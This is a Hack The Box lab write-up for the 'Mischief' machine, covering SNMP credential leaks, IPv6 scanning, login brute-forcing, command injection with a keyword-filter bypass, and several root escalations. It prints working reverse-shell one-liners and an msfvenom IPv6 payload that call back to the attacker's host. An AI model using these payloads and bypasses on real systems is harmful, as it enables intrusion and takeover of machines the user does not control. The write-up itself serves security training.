Tags: hack the box, ipv6, snmpwalk, pkexec, polkit, command injection
trickster0 did an outstanding job creating this box. My initial run at this box took quite a while and it was very satisfying to finally root it. My favorite part of the box was the ipv6 integration. I’ve been aware of ipv6 and knew about it topically from classes/training, but I’ve never needed to do anything meaningful with it. As I worked through the box, the amount of thought trickster0 put into the box was obvious. He wove a trail through the box that was very fun to follow. This box required outside-the-box thinking more than a few times and easily deserves the Tricked badge that came along with completion.
As usual, we start off with a masscan
followed by a targeted nmap
.
masscan -e tun0 -p0-65535,U:0-65535 --rate 700 -oL masscan.10.10.10.92.all 10.10.10.92
══════════════════════════════════════════════════════════════════════════════════════
#masscan
open udp 161 10.10.10.92 1543109537
open tcp 22 10.10.10.92 1543109600
open tcp 3366 10.10.10.92 1543109602
# end
To save us from running two separate nmap
scans, we can add -sU
and -sT
to do both udp and tcp at the same time. I’ve cut the snmp script output short because we’re going to do some different enumeration there outside of nmap
.
nmap -sV -sC -sT -sU -p 161,22,3366 -oA nmap.10.10.10.92 10.10.10.92
════════════════════════════════════════════════════════════════════
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
161/tcp filtered snmp
3366/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
| http-auth:
| HTTP/1.0 401 Unauthorized\x0D
|_ Basic realm=Test
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html).
22/udp open|filtered ssh
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
| enterprise: net-snmp
-------------8<-------------
Simple Network Management Protocol (SNMP) is a protocol for network management. It’s used for gathering information from, and configuring, network devices. We’re concerned with the information gathering aspect of SNMP. To enumerate SNMP, we’ll use snmpwalk
. snmpwalk
attempts to walk all of the available Management Information Bases (MIBs). Each MIB is a collection of information organized hierarchically and defines the properties of the corresponding managed object.
Before running our snmpwalk
command, we should install snmp-mibs-downloader
. This package will install all of the MIB files that aren’t included by default due to licensing issues.
apt install snmp-mibs-downloader
After installing the package, we need to comment out the mibs :
line in /etc/snmp/snmp.conf
. Doing this configures snmp
to use the freshly downloaded MIBs.
1/etc/snmp/snmp.conf
2═══════════════════
3
4# As the snmp packages come without MIB files due to license reasons, loading
5# of MIBs is disabled by default. If you added the MIBs you can reenable
6# loading them by commenting out the following line.
7# mibs :
The reason we do these setup steps is because the resulting snmpwalk
output is much easier to digest with these changes made (shown below).
Example entry without changes
═════════════════════════════
iso.3.6.1.2.1.4.20.1.1.10.10.10.92 = IpAddress: 10.10.10.92
Example entry with changes
══════════════════════════
ipAdEntAddr.10.10.10.92 = IpAddress: 10.10.10.92
With all of that setup, we can run snmpwalk
to enumerate the target.
snmpwalk -Os -c public -v 1 10.10.10.92
═══════════════════════════════════════
snmpwalk options used:
-Os
print only last symbolic element of OID
-c public
set the community string to 'public'
-v 1
specifies SNMP version to use
The output from snmpwalk
is incredibly long, so I’ve taken the liberty of including only what’s pertinent in the output.
1sysDescr.0 = STRING: Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
2ipAddressIfIndex.ipv4."10.10.10.92" = INTEGER: 2
3ipAddressIfIndex.ipv4."127.0.0.1" = INTEGER: 1
4ipAddressIfIndex.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: 1
5ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:a4:3a:5e" = INTEGER: 2
6hrSWRunName.717 = STRING: "python"
7hrSWRunPath.717 = STRING: "python"
8hrSWRunParameters.717 = STRING: "-m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/"
uname
Line 8 has the meat of what we care about next. It shows us some credentials and where we can use them.
When we navigate to 10.10.10.92:3366
we see a basic auth login form.
We can use the creds we found via SNMP to login.
After authenticating, we’re greeted with some new credentials.
So far, we have 2 sets of credentials. Let’s keep ourselves organized and start a running collection of creds for this target.
Username | Password | Used Where? |
---|---|---|
loki | godofmischiefisloki | 10.10.10.92:3366 |
loki | trickeryanddeceit | N/A |
There was nothing else of interest hosted here, so we can move on to the IPv6 interface we found via SNMP earlier.
Recall that we found an IPv6 address through our SNMP enumeration.
ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:a4:3a:5e" = INTEGER: 2
Before we can proceed, we need to convert the SNMP output to an actual IPv6 address. An IPv6 address is comprised of eight sections of four hex values, separated by a total of seven colons. We can achieve this format by removing every other colon, leaving us with what’s below.
dead:beef:0000:0000:0250:56ff:fea4:3a5e
We can also condense this a bit by compressing the zeros. If you have consecutive fields of zeros, they can be written with two colons instead. As a heads up, you can only perform zero compression once per IPv6 address.
dead:beef::250:56ff:fea4:3a5e
Let’s scan it up and see what services we can find using that address.
Unfortunately, masscan
doesn’t support IPv6, so we’ll fall back to a simple scan with nmap
to find the ports, then we’ll add the script and service flags after.
nmap -p 0-65535 -6 dead:beef::250:56ff:fea4:3a5e
════════════════════════════════════════════════
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -p 22,80 -sC -sV -6 -oA nmap.dead:beef::250:56ff:fea4:3a5e dead:beef::250:56ff:fea4:3a5e
═════════════════════════════════════════════════════════════════════════════════════════════
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| address-info:
| IPv6 EUI-64:
| MAC address:
| address: 00:50:56:a4:3a:5e
|_ manuf: VMware
There’s not much that stands out in the scan other than the fact that port 80 did not show up in our original scan. Let’s check the website.
In case you’ve never needed to put an ipv6 address into a web browswer (I hadn’t), it’s pretty simple. Just wrap square brackets around the ipv6 address.
Ex.
http://[dead:beef::250:56ff:fea4:3a5e]/
Just connecting with firefox shows us the following link to a login form. The heading Command Execution Panel sounds like we’re headed in the right direction.
After clicking the link, we see a login form.
We already have some credentials to try, but the username loki doesn’t grant us access with either of our passwords. All of the normal scans against this webserver were uninteresting, so it seems that we are in need of the right username. We can use wfuzz
to quickly test some usernames with our two passwords.
First, let’s get both passwords into a file.
echo godofmischiefisloki > mischief-passwords
echo trickeryanddeceit >> mischief-passwords
Next, we need to grab the parameters used in the POST request. This can be done in a lot of ways, but to keep it simple, we’ll just use firefox.
While on the login page in firefox, pressing ctrl+u
allows us to view the source of the page. From the source, we can look at the html form and grab the values associated with the name
attributes from the input
tags, as these are what we’ll need in our wfuzz
command.
Now we can build out our wfuzz
command.
wfuzz -w /usr/share/wordlists/SecLists/Usernames/cirt-default-usernames.txt -w loki-passwords -c --filter 'c!=200' -d 'user=FUZZ&password=FUZ2Z' http://[dead:beef::250:56ff:fea4:3a5e]/login.php
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
wfuzz options used:
-w WORDLIST
Specify a wordlist file
-c
Output with colors
--filter FILTER
Filter responses using the specified expression
-d POSTDATA
Use post data (ex: "id=FUZZ&catalogue=1")
Because we’re using two wordlists, we can use the FUZnZ
pattern to specify where to place the items from each additional wordlist. In our case, FUZZ
will use items from cirt-default-usernames.txt
and FUZ2Z
will use items from loki-passwords
.
Also, we’re using --filter 'c!=200'
to exclude responses with a 200 status code. We do this because when we submit invalid credentials, we get a 200. It’s very likely in this case that a successful login will result in a redirect.
Target: http://[dead:beef::250:56ff:fea4:3a5e]/login.php
Total requests: 2475
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000089: C=302 28 L 43 W 566 Ch "ADMINISTRATOR - trickeryanddeceit"
000167: C=302 28 L 43 W 566 Ch "Administrator - trickeryanddeceit"
001493: C=302 28 L 43 W 566 Ch "administrator - trickeryanddeceit"
Total time: 19.82297
Processed Requests: 2475
Filtered Requests: 2472
Requests/sec.: 124.8551
Success! We have a valid login. Let’s update our credentials.
Username | Password | Used Where? |
---|---|---|
loki | godofmischiefisloki | 10.10.10.92:3366 |
administrator | trickeryanddeceit | http://[dead:beef::250:56ff:fea4:3a5e]/login.php |
After authenticating, we see the form below.
It’s certainly convenient to let us know that there is a file with creds in someone’s home directory, let’s grab it! Going forward, we’re going to execute the default command, capture it in burp, then send the request over to burp’s repeater so we can quickly generate different requests.
NOTE: This section is meant to demonstrate some Burp Suite functionality. If you’re already familiar with burp, please feel free to skip ahead to the loki to root section.
Conversely, if you need some help setting up burp and firefox check out the following
With burp running and firefox using burp as its proxy, we can just hit the Execute button on the Command Execution Panel page of the website so that the default request logs in burp’s http history. We can be sure we have the right request by confirming that the body of the POST request contains command=ping+-c+2+127.0.0.1
.
With our request in the http history highlighted, we can press ctrl+r
to send the request to burp’s repeater (you can also right click and use the context menu to do the same). After sending the request, ctrl+shift+r
will jump to the repeater tab. Here’s what the same request looks like after resending it in repeater by clicking the Go
button.
On the left hand side of the Repeater tab, we have the Request we’re sending and after pressing Go
, we have the server’s Response on the right hand side.
The Response’s output from the command that was run is near the bottom of the Response, outside of the closing </html>
tag. That’s mildly inconvenient when we could potentially be sending a lot of requests through repeater. We don’t want to have to scroll to the bottom of the response panel with each request, so let’s use burp’s auto-scroll feature to automate that for us.
In the search bar at the bottom of the Response pane, enter the closing </html>
as the search term. After that, click the +
sign and check the Auto-scroll to match when text changes
option.
Now, we can resend the request to see the auto-scroll in action.
There’s one more thing we can do to make this sort of work much easier; we can setup a keybind to send our requests while in repeater! We’ll use the keybind instead of clicking the Go
button each time we want to alter our request.
Click on the User Options
tab, then the Misc
subtab, then the Edit Hotkeys
button in the Hotkeys section. The hotkey we want to edit is Issue Repeater request
. Highlight that hotkey and press your preferred keybind, mine is ctrl+g
(g for Go!).
Ok, now that we have burp setup, we can start playing with the request itself. We already know that the default command ping -c 2 127.0.0.1
gives us Command was executed succesfully!
. One of the first things we can try is a simple command injection. Adding a ; id
to the command and sending it by pressing ctrl+g
doesn’t show us the results of running id
. However, it does change the output, we now see the results of the ping
command.
That’s interesting. What if we put the id
command first and send the new request with ctrl+g
?
Let’s try just a single command terminated with a semi-colon.
We can safely assume that we’re truncating the command on the server with our semi-colon. Whatever is happening normally to suppress command output doesn’t happen when we add the semi-colon.
On to the credentials file! We need to know which user has the file, so let’s check /etc/passwd
.
loki seems reasonable. Let’s check his home directory.
Well, it looks like there’s some sort of filtering going on. We can naively try and cat all files in loki’s home directory and see what that does.
Success! We have another set of creds. It stands to reason that these are ssh creds.
ssh loki@10.10.10.92
pass: lokiisthebestnorsegod
═══════════════════════════
-------------8<-------------
Last login: Mon Nov 26 11:00:09 2018 from 10.10.14.11
loki@Mischief:~$ cat user.txt
bf58...
\o/ - access level: loki
Let’s update our creds again.
Username | Password | Used Where? |
---|---|---|
loki | godofmischiefisloki | 10.10.10.92:3366 |
administrator | trickeryanddeceit | http://[dead:beef::250:56ff:fea4:3a5e]/login.php |
loki | lokiisthebestnorsegod | ssh loki@10.10.10.92 |
While enumerating the box as loki, we find a password in loki’s .bash_history
. This particular password is very easy to overlook. Because of its similarity to the process we used earlier to get our first set of creds, this could easily be mistaken for a typo.
/home/loki/.bash_history
════════════════════════
python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery
exit
-------------8<-------------
For SnG’s, let’s check if that password is root’s password. A quick su -
returns some unexpected output.
su -
════
-bash: /bin/su: Permission denied
Getting a permission denied on su
deserves some investigation, but first lets store our new password in our list of creds.
Username | Password | Used Where? |
---|---|---|
loki | godofmischiefisloki | 10.10.10.92:3366 |
administrator | trickeryanddeceit | http://[dead:beef::250:56ff:fea4:3a5e]/login.php |
loki | lokiisthebestnorsegod | ssh loki@10.10.10.92 |
loki? root? | lokipasswordmischieftrickery | N/A |
During further enumeration, we get the same output when running sudo -l
as we did running su
. The -l
option to the sudo
command is used to view what commands (if any) we can run via sudo
. Also, /etc/ssh/sshd_config showed that root isn’t allowed to ssh
in directly, so that’s not an option.
We can do a long listing of /usr/bin/sudo
and /bin/su
to see what’s going on.
ls -al /usr/bin/sudo /bin/su
════════════════════
-rwsr-xr-x+ 1 root root 149080 Jan 18 2018 /usr/bin/sudo
-rwsr-xr-x+ 1 root root 44664 Jan 25 2018 /bin/su
The +
sign in the permissions listing is what’s important here. A plus sign denotes the presence of an Access Control List (ACL). ACLs are used to define more fine-grained discretionary access rights for files and directories. We can view the ACL with the getfacl
command.
getfacl /bin/su /usr/bin/sudo
═════════════════════════════
getfacl: Removing leading '/' from absolute path names
# file: bin/su
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x
# file: usr/bin/sudo
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x
We can clearly see that the user loki only has read access to sudo
and su
. Because that’s an incredibly non-standard way to disallow usage of these commands, it’s almost certainly related to privilege escalation.
These particular ACLs are effectively a blacklist. They only disallow loki from running these two commands. The commands function normally for any other user. Fortunately, we already have command execution as www-data. Let’s go back and grab an interactive shell as www-data.
Seeing as we already have access to the target as loki, we can leverage that access to simplify getting a shell as www-data.
Before attempting to trigger a callback, we should test communication between us and the target using our loki shell.
KALI: nc -nvlp 12345
MISCHIEF: nc -nv 10.10.14.11 12345
════════════════════════════════════
(no connection made)
MISCHIEF: nc -nvlp 12345
KALI: nc -vn 10.10.10.92 12345
════════════════════════════════════
(no connection made)
No combination of ports worked for me for ipv4 communications. We’ve already seen ipv6 play a role for this box, maybe it’ll work where ipv4 didn’t. The default netcat installed on kali doesn’t know how to speak ipv6, so we can install ncat
.
apt install ncat
Now we can perform our test.
KALI: nc -nvl6p 12345
MISCHIEF: nc -nv6 dead:beef:2::1009 12345
═══════════════════════════════════════════
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Connection from dead:beef::250:56ff:fea4:41ed.
Ncat: Connection from dead:beef::250:56ff:fea4:41ed:49908.
Noice! We’re going to show two ways of catching a callback here. First, we’ll bypass the filter on the Command Execution Panel with netcat. After that, we’ll use a payload I created and submitted to Metasploit for integration into the framework.
When we cat /var/www/html/index.php
, we can see that there is some filtering done that dictates what the webpage will and will not execute. The strpos($cmd, "nc" )
part of the if statement is checking for the presence of the substring nc
in the entire line submitted through the Command Execution Panel.
While we’re here, we can also see that system("$cmd > /dev/null 2>&1");
is the line that runs the commands on the server from the Command Execution Panel. When we add a semi-colon to the command, it prevents the redirection of STDOUT and STDERR to /dev/null
.
-------------8<-------------
if(isset($_POST['command'])) {
$cmd = $_POST['command'];
if (strpos($cmd, "nc" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "bash" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "chown" ) !== false){
-------------8<-------------
system("$cmd > /dev/null 2>&1");
We could bypass the strpos
filter easily by just copying nc
to another name that isn’t being filtered. Instead, I’ll demonstrate what I think is a neat bypass method here.
As an example, try this in your kali terminal.
/bin/?c -h
The question mark in bash is a wildcard that represents any single character. If you specified something at the command line like hd?
GNU/Linux would look for hda, hdb, hdc and every other letter/number between a-z, 0-9. In our case, it will expand out to /bin/nc -h
. If you run the command above, you should see the help output of netcat.
Let’s generate a quick callback with shellpop.
shellpop --payload linux/reverse/tcp/netcat_openbsd --host dead:beef:2::1009 --port 12345
═════════════════════════════════════════════════════════════════════════════════════════
[+] Execute this code in remote target:
if [ -e /tmp/f ]; then rm /tmp/f;fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc dead:beef:2::1009 12345 > /tmp/f
We just need to slightly alter this to specify ipv6 and incorporate our filter bypass.
The final command should look like this.
if [ -e /tmp/f ]; then rm /tmp/f;fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/?c -nv6 dead:beef:2::1009 12345 > /tmp/f;
The semi-colon at the end of the command is important because we don’t want our STDOUT and STDERR to get redirected to /dev/null.
If we setup a listener and execute that command in the Command Execution Panel, we’ll get a shell!
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Connection from dead:beef::250:56ff:fea4:4a28.
Ncat: Connection from dead:beef::250:56ff:fea4:4a28:34364.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Go team!
Alright, the first callback method is done, now let’s go ahead and generate an ipv6 payload for the target. Running a uname -a
will show us that the box is a 64-bit target, so we’ll need to specify a 64 bit payload when running msfvenom
.
Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
When trying to build a 64-bit linux reverse shell that used ipv6, I found that the payload didn’t exist in Metasploit. That seemed odd, even BSD had an ipv6 payload for 64-bit systems! When I arrived at this point while re-doing Mischief for this write-up, I thought it would be fun to write the payload. You can find my pull request for the bind and reverse shells here.
For the purposes of progressing with the box (assuming that these payloads haven’t been integrated by the time you read this), the following commands will get the payloads into the proper locations for you.
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/cb3ea8dfed093d1dc890c7fbe7fec16ab609b94e/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb -O /usr/share/metasploit-framework/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/cb3ea8dfed093d1dc890c7fbe7fec16ab609b94e/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb -O /usr/share/metasploit-framework/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb
Now we can generate the payload.
msfvenom -p linux/x64/shell_reverse_ipv6_tcp LPORT=12345 LHOST='dead:beef:2::1009' -f elf -o rev-x64-ipv6-12345.elf
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 105 bytes
Final size of elf file: 225 bytes
Saved as: rev-x64-ipv6-12345.elf
Then scp
the payload to the target as loki.
scp rev-x64-ipv6-12345.elf loki@10.10.10.92:
pass: lokiisthebestnorsegod
════════════════════════════════════════════════
rev-x64-ipv6-12345.elf 100% 225 3.4KB/s 00:00
Don’t forget to make it executable!
chmod +x /home/loki/rev-x64-ipv6-12345.elf
Finally, on Kali, we need to setup our listener.
nc -vn6lp 12345
After getting all that squared away, we need to log in to the Command Execution Panel again. The only task for us here after logging in is to put the absolute path to our payload in the field and press Execute.
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Connection from dead:beef::250:56ff:fea4:4a28.
Ncat: Connection from dead:beef::250:56ff:fea4:4a28:34360.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ok, now we have a shell as www-data (again), let’s wrap this one up!
With our shell, we can use python
to grab a pty, then finally have a chance to try our creds against the root account.
python -c 'import pty;pty.spawn("/bin/bash")'
═════════════════════════════════════════════
www-data@Mischief:/var/www/html$
su -
Password: lokipasswordmischieftrickery
root@Mischief:~# id
uid=0(root) gid=0(root) groups=0(root)
\o/ - root access
As loki, we’re not allowed to execute commands as another user by using sudo
/su
. Though, it turns out there are some other commands we can use in their place to accomplish the same thing!
The second method we’ll use is pkexec
. pkexec
is part of a larger system known as polkit (formerly PolicyKit). polkit is used for controlling system-wide privileges. It provides an organized way for non-privileged processes to communicate with privileged ones. In contrast to systems such as sudo, it does not grant root permission to an entire process, but rather allows a finer level of control.
pkexec
allows an authorized user to execute a command as another user. Sounds a lot like sudo
, right? The catch here is that we need root’s password to authenticate instead of membership in /etc/sudoers. Let’s give it a shot.
1pkexec bash
2═══════════
3
4==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
5Authentication is needed to run `/bin/bash' as the super user
6Authenticating as: root
7Password: lokipasswordmischieftrickery
8polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
9==== AUTHENTICATION FAILED ===
10Error executing command as another user: Not authorized
11
12This incident has been reported.
Our first attempt failed. But it failed with a strange error. A simple google for the No session for cookie error brings us to this excellent github issue. In that issue, a solution to our problem is suggested.
The suggested fix is to run pkttyagent
in a separate terminal. pkttyagent
is used to start a textual authentication agent for a subject. The subject in this case is the shell where we’ll run pkexec
.
Steps to complete this method
ssh
to 10.10.10.92 twice (two separate terminals)echo $$
to get the shell’s pidpkttyagent --process PID_OF_TERMINAL_ONE
(this process blocks)pkexec bash
\o/ - double root access
The third and final method we’ll look at is systemd-run
. systemd-run
may be used to create and start a transient systemd .service or .scope unit and run the specified command in it. Authentication for this command is also handled by polkit. Of note, if a command is run as service unit, the first argument needs to be an absolute program path.
systemd-run --pty /bin/bash
═══════════════════════════
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to manage system services or other units.
Authenticating as: root
Password: lokipasswordmischieftrickery
==== AUTHENTICATION COMPLETE ===
Running as unit: run-u174.service
Press ^] three times within 1s to disconnect TTY.
root@Mischief:/# id
uid=0(root) gid=0(root) groups=0(root)
This is by far my favorite method. It’s simple, straightforward, and most importantly, effective.
\o/ - triple root access
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.